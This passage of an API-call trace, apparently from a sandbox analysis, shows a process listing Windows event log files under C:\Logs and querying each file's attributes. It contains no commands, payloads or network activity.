	[0240.480] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc986efe1, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc986efe1, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Wcmsvc%4Operational.evtx", cAlternateFileName="MI72BF~1.EVT")) returned 1
	[0240.480] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb426548, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb426548, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Windows Defender%4Operational.evtx", cAlternateFileName="MI7501~1.EVT")) returned 1
	[0240.480] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb4729e7, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb4729e7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Windows Defender%4WHC.evtx", cAlternateFileName="MIF226~1.EVT")) returned 1
	[0240.480] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4b19353, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4b19353, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx", cAlternateFileName="MIDCC7~1.EVT")) returned 1
	[0240.480] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9c9b1b6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9c9b1b6, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx", cAlternateFileName="MI7771~1.EVT")) returned 1
	[0240.480] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9df26e9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9df26e9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx", cAlternateFileName="MI4667~1.EVT")) returned 1
	[0240.480] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd122d184, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd122d184, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Winlogon%4Operational.evtx", cAlternateFileName="MID6AB~1.EVT")) returned 1
	[0240.481] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf164b9b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcf164b9b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-WMI-Activity%4Operational.evtx", cAlternateFileName="MIFF83~1.EVT")) returned 1
	[0240.481] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xf9a458f4, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security.evtx", cAlternateFileName="SECURI~1.EVT")) returned 1
	[0240.481] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a6db2c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x95a6db2c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.evtx", cAlternateFileName="SETUP~1.EVT")) returned 1
	[0240.481] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505097c4, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505097c4, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.evtx", cAlternateFileName="SYSTEM~1.EVT")) returned 1
	[0240.481] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell.evtx", cAlternateFileName="WINDOW~1.EVT")) returned 1
	[0240.481] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0240.481] VirtualAlloc (lpAddress=0xc0004e6000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004e6000
	[0240.482] FindClose (in: hFindFile=0x192c63cda60 | out: hFindFile=0x192c63cda60) returned 1
	[0240.484] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0) returned 0
	[0240.484] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5052fa31, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5052fa31, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.494] SetEvent (hEvent=0x124) returned 1
	[0240.494] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.494] GetFileAttributesExW (in: lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505ee5f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505ee5f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.502] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x35, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.502] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505a2134, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505a2134, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.502] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.502] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5057bed8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5057bed8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.503] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.503] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1dbd7c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc1dbd7c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.503] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.503] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.507] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.507] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4169a7a, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4169a7a, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.509] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.510] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.510] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.510] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.510] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.511] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41b5f2d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd41b5f2d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.511] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.511] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd389efbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd389efbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.513] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.513] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd38c5212, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd38c5212, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000)) returned 1
	[0240.517] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.518] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.518] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.518] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x211000)) returned 1
	[0240.518] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.518] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.589] SetEvent (hEvent=0x124) returned 1
	[0240.589] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.590] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5d836e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5d836e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.590] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.590] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9206ac5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9206ac5, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xf9c0f529, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000)) returned 1
	[0240.591] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.591] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85798667, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x85798667, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.591] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.591] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74d25ab, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd74d25ab, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.592] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.592] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f96ca4, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe1f96ca4, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.592] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.593] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8783aa15, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8783aa15, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
